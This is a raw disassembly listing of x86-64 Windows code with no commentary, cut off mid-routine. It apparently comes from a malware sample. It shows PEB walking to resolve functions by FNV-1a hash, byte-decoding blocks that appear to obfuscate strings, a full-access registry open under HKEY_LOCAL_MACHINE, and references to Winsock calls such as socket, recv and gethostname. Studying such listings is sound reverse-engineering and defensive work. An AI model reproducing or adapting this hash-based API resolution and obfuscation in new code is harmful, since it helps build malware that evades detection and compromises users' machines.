lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x14012bed6
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x14012c0eb
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14012c7d0
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012c7ac
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14012c785
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14012c75e
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14012c73e
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14012c41d
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14012c3fa
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14012c3d3
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x14012c3af
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x14012c39b
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x14012c377
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012c353
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14012c33f
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x14012c319
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x14012c305
lea rax, [r10 + 9]
cmp rbx, rax
je 0x14012bf24
lea rbx, [r10 + 5]
lea r10, [rbx + 0x20]
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x14012c98f
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x14012c96c
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14012c126
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x14012c103
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x14012c0dc
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x14012c2e2
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x14012c2bf
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x14012c29b
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x14012c26f
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14012bf24
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x14012c25b
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x14012c238
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x14012c215
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14012c201
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x14012c1dd
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14012c1b9
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x14012c195
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14012c171
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x14012c14d
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x14012bf24
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 3]
jmp 0x14012bf24
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012bf17
movabs rcx, 0x84a9100974daa02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
jmp 0x14012beb0
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012be32
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14012c800
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
jmp 0x14012c82b
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 8
jmp 0x14012c82e
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14012c854
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x40
jmp 0x14012c880
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x14012c76d
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x14012c736
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x14
jmp 0x14012c337
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14012c613
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x36
mov byte [rbp + r9 + 0x5c0], dil
jmp 0x14012c964
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14012c4b6
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x6e
jmp 0x14012c47b
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xa
jmp 0x14012c440
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14012c613
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x38
add dil, dl
jmp 0x14012c906
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14012c530
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x70
jmp 0x14012c8a1
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
jmp 0x14012c880
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x14012c1c8
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x14012c82e
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012c82b
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x14012c800
lea rax, [r10 + 6]
cmp rbx, rax
jae 0x14012c4eb
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r10 + rbx]
cmp rax, r15
je 0x14012c70f
lea rax, [r10 + 0x40]
cmp rbx, rax
jbe 0x14012c590
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x6a
add dil, dl
cmp rbx, 0x1000
jae 0x14012c6e7
lea rax, [r10 + 1]
cmp rbx, rax
jbe 0x14012c62b
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
cmp r10, 9
jb 0x14012c28e
movabs rdx, 0xe770ca89d7ef62b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14012c803
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012c518
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x34
jmp 0x14012c955
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012c542
movabs rdx, 0xb8b05b574343cd24
mov ecx, 2
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14012c733
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14012c56f
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x14012c8a1
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14012c443
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14012c794
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012c5ad
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x14012c15c
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14012c5da
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x32
jmp 0x14012c82b
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012c5f7
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x14012c1c8
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x14012c47e
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012c955
jne 0x14012c651
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14012c955
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14012c67d
movabs rcx, 0xdbc0aebd32c47d50
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14012c8d6
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012c69a
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x14012c76d
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14012c6c6
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5c
jmp 0x14012c854
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x14012c4b9
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14012c15c
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x5c0]
sub dil, al
sub dil, 0x50
jmp 0x14012c1d5
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x5c0]
add dil, r8b
add dil, dl
jmp 0x14012c8d6
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x56
jmp 0x14012c736
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012c8a1
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012c880
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012c82e
movabs rdx, 0xdc582daba1a1e692
mov ecx, r12d
jmp 0x14012c15c
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x36
add dil, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x5c0], cl
add r10, r12
sub r9, r12
jmp 0x14012c964
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xa
add dil, dl
movabs rdx, 0xd7a8d07ed6c1b86e
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, dil
sub cl, al
sub cl, 2
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x5c0], cl
add rbx, r10
jmp 0x14012c8a1
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x42
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14012c964
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea edi, [rax + rax]
add dil, r8b
add dil, cl
movabs rcx, 0x2278d47780a346ea
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x66
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x5c0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x5c0], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14012c955
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x16
movzx eax, byte [rbp + r9 + 0x5c0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x14012be1f
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
jmp 0x14012be1c
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x16
jmp 0x14012be0c
lea rsi, [rbp + 0x145e368]
jmp 0x14012c9cc
lea rsi, [rbp + 0x136aaa6]
jmp 0x14012c9cc
lea rsi, [rbp + 0x5c0]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x14012cb2e
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r14, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012ca42
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012ca35
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012ca26
cmp edx, edi
jne 0x14012cb11
mov rbx, qword [r8 + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14012cb11
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14012cb11
mov r15d, dword [r11 + 0x20]
dec r10d
lea rdx, [r15 + r10*4]
mov r9d, dword [rdx + rbx]
add r9, rbx
mov edx, 0x811c9dc5
jmp 0x14012ca96
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r9]
add r9, r12
test cl, cl
jne 0x14012ca8b
cmp edx, r13d
je 0x14012caac
test r10d, r10d
jne 0x14012ca76
jmp 0x14012cb11
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx r9d, word [rdx + r10*2]
mov edx, dword [r11 + 0x1c]
add rdx, rbx
mov r10d, dword [rdx + r9*4]
add r10, rbx
cmp r10, r11
jbe 0x14012cb27
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14012cb27
mov eax, 0x811c9dc5
mov edi, eax
mov r13d, eax
jmp 0x14012caee
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
cmp al, 0x2e
jne 0x14012cae0
jmp 0x14012cb04
movsx eax, al
xor eax, r13d
imul r13d, eax, 0x1000193
add r10, r12
mov al, byte [r10]
test al, al
jne 0x14012caf7
mov r8, qword [r14]
mov r8, qword [r8]
cmp r8, r14
je 0x14012cb24
cmp qword [r8 + 0x30], 0
jne 0x14012c9f5
xor r10d, r10d
mov qword [0x1404fc178], r10
and qword [rsp + 0x40], 0
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
mov r15d, 8
test rdx, rdx
jne 0x14012ccdf
xor edi, edi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r14d, 0xcded1a85
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd ecx, xmm0
sub cx, r15w
mov word [rsp + 0x60], cx
mov r13d, 0x811c9dc5
test edi, edi
je 0x14012cbe8
mov rdx, qword [rsp + 0x68]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, r13d
jmp 0x14012cbda
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14012cbc9
cmp r8d, edi
jne 0x14012ccce
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov rcx, qword [rcx + r11 + 0x88]
mov r10d, ecx
add r10, r11
shr rcx, 0x20
cmp r10, r11
je 0x14012ccce
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x14012ccce
mov esi, dword [r10 + 0x20]
dec ebx
lea r8, [r11 + rbx*4]
mov r9d, dword [r8 + rsi]
add r9, r11
mov r8d, r13d
jmp 0x14012cc3a
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x14012cc2d
cmp r8d, r14d
je 0x14012cc4f
test ebx, ebx
jne 0x14012cc1b
jmp 0x14012ccce
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx r9d, word [rdx + rbx*2]
mov edx, dword [r10 + 0x1c]
add rdx, r11
mov edx, dword [rdx + r9*4]
add rdx, r11
cmp rdx, r10
jbe 0x14012ccd6
lea rax, [r10 + rcx]
cmp rdx, rax
jae 0x14012ccd6
mov edi, r13d
mov ecx, r13d
mov dword [rsp + 0x58], ecx
jmp 0x14012cc91
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012cc83
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x14012ccb8
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14012cca0
mov dword [rsp + 0x58], ecx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r14d, dword [rsp + 0x58]
mov rax, qword [rax]
jmp 0x14012cb95
mov qword [0x1404fc118], rdx
jmp 0x14012cce5
mov r13d, 0x811c9dc5
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x14012ce4e
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r15w
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012cd60
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
jmp 0x14012cd53
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012cd44
cmp edx, edi
jne 0x14012ce32
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x14012ce32
mov ebx, dword [r9 + 0x18]
test ebx, ebx
je 0x14012ce32
mov r14d, dword [r9 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r11d, dword [rdx + r10]
add r11, r10
mov edx, r13d
jmp 0x14012cdb0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r11]
add r11, r12
test cl, cl
jne 0x14012cda5
cmp edx, dword [rsp + 0x70]
je 0x14012cdc6
test ebx, ebx
jne 0x14012cd93
jmp 0x14012ce32
mov ecx, dword [r9 + 0x24]
add rcx, r10
movzx r8d, word [rcx + rbx*2]
mov edx, dword [r9 + 0x1c]
add rdx, r10
mov ebx, dword [rdx + r8*4]
add rbx, r10
cmp rbx, r9
jbe 0x14012ce47
lea rcx, [r9 + rax]
cmp rbx, rcx
jae 0x14012ce47
mov edi, r13d
mov ecx, r13d
mov dword [rsp + 0x70], ecx
jmp 0x14012ce08
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14012cdfa
add rbx, r12
mov al, byte [rbx]
test al, al
je 0x14012ce2f
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x14012ce17
mov dword [rsp + 0x70], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14012ce45
cmp qword [r8 + 0x30], 0
jne 0x14012cd15
xor ebx, ebx
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x14012cfbd
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r15w
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012cecf
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
jmp 0x14012cec2
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012ceb3
cmp edx, edi
jne 0x14012cfa1
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x14012cfa1
mov ebx, dword [r9 + 0x18]
test ebx, ebx
je 0x14012cfa1
mov r14d, dword [r9 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r11d, dword [rdx + r10]
add r11, r10
mov edx, r13d
jmp 0x14012cf1f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r11]
add r11, r12
test cl, cl
jne 0x14012cf14
cmp edx, dword [rsp + 0x74]
je 0x14012cf35
test ebx, ebx
jne 0x14012cf02
jmp 0x14012cfa1
mov ecx, dword [r9 + 0x24]
add rcx, r10
movzx r8d, word [rcx + rbx*2]
mov edx, dword [r9 + 0x1c]
add rdx, r10
mov edx, dword [rdx + r8*4]
add rdx, r10
cmp rdx, r9
jbe 0x14012cfb6
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x14012cfb6
mov edi, r13d
mov ecx, r13d
mov dword [rsp + 0x74], ecx
jmp 0x14012cf77
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012cf69
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x14012cf9e
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14012cf86
mov dword [rsp + 0x74], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14012cfb4
cmp qword [r8 + 0x30], 0
jne 0x14012ce84
xor edx, edx
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x14012d123
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r15w
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012d035
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
jmp 0x14012d028
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012d019
cmp edx, edi
jne 0x14012d107
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x14012d107
mov ebx, dword [r9 + 0x18]
test ebx, ebx
je 0x14012d107
mov r14d, dword [r9 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r11d, dword [rdx + r10]
add r11, r10
mov edx, r13d
jmp 0x14012d085
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r11]
add r11, r12
test cl, cl
jne 0x14012d07a
cmp edx, dword [rsp + 0x78]
je 0x14012d09b
test ebx, ebx
jne 0x14012d068
jmp 0x14012d107
mov ecx, dword [r9 + 0x24]
add rcx, r10
movzx r8d, word [rcx + rbx*2]
mov edx, dword [r9 + 0x1c]
add rdx, r10
mov edx, dword [rdx + r8*4]
add rdx, r10
cmp rdx, r9
jbe 0x14012d11c
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x14012d11c
mov edi, r13d
mov ecx, r13d
mov dword [rsp + 0x78], ecx
jmp 0x14012d0dd
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012d0cf
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x14012d104
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14012d0ec
mov dword [rsp + 0x78], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14012d11a
cmp qword [r8 + 0x30], 0
jne 0x14012cfea
xor edx, edx
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x14012d289
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r15w
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012d19b
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
jmp 0x14012d18e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012d17f
cmp edx, edi
jne 0x14012d26d
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x14012d26d
mov ebx, dword [r9 + 0x18]
test ebx, ebx
je 0x14012d26d
mov r14d, dword [r9 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r11d, dword [rdx + r10]
add r11, r10
mov edx, r13d
jmp 0x14012d1eb
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r11]
add r11, r12
test cl, cl
jne 0x14012d1e0
cmp edx, dword [rsp + 0x7c]
je 0x14012d201
test ebx, ebx
jne 0x14012d1ce
jmp 0x14012d26d
mov ecx, dword [r9 + 0x24]
add rcx, r10
movzx r8d, word [rcx + rbx*2]
mov edx, dword [r9 + 0x1c]
add rdx, r10
mov edx, dword [rdx + r8*4]
